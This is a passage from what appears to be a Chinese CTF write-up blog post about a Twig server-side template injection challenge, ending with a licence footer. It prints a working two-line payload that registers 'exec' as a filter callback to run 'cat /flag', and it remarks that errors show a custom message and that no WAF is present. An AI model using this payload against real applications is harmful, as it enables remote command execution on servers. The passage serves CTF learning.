2回显2(注意要urlencode)

一个简单的Twig模板注入

payload

1
2
{{_self.enc.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("cat /flag")}}

注意,这里好像运行出错就会出现

1
what are you want to do

而不是被waf了

本题没有waf


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!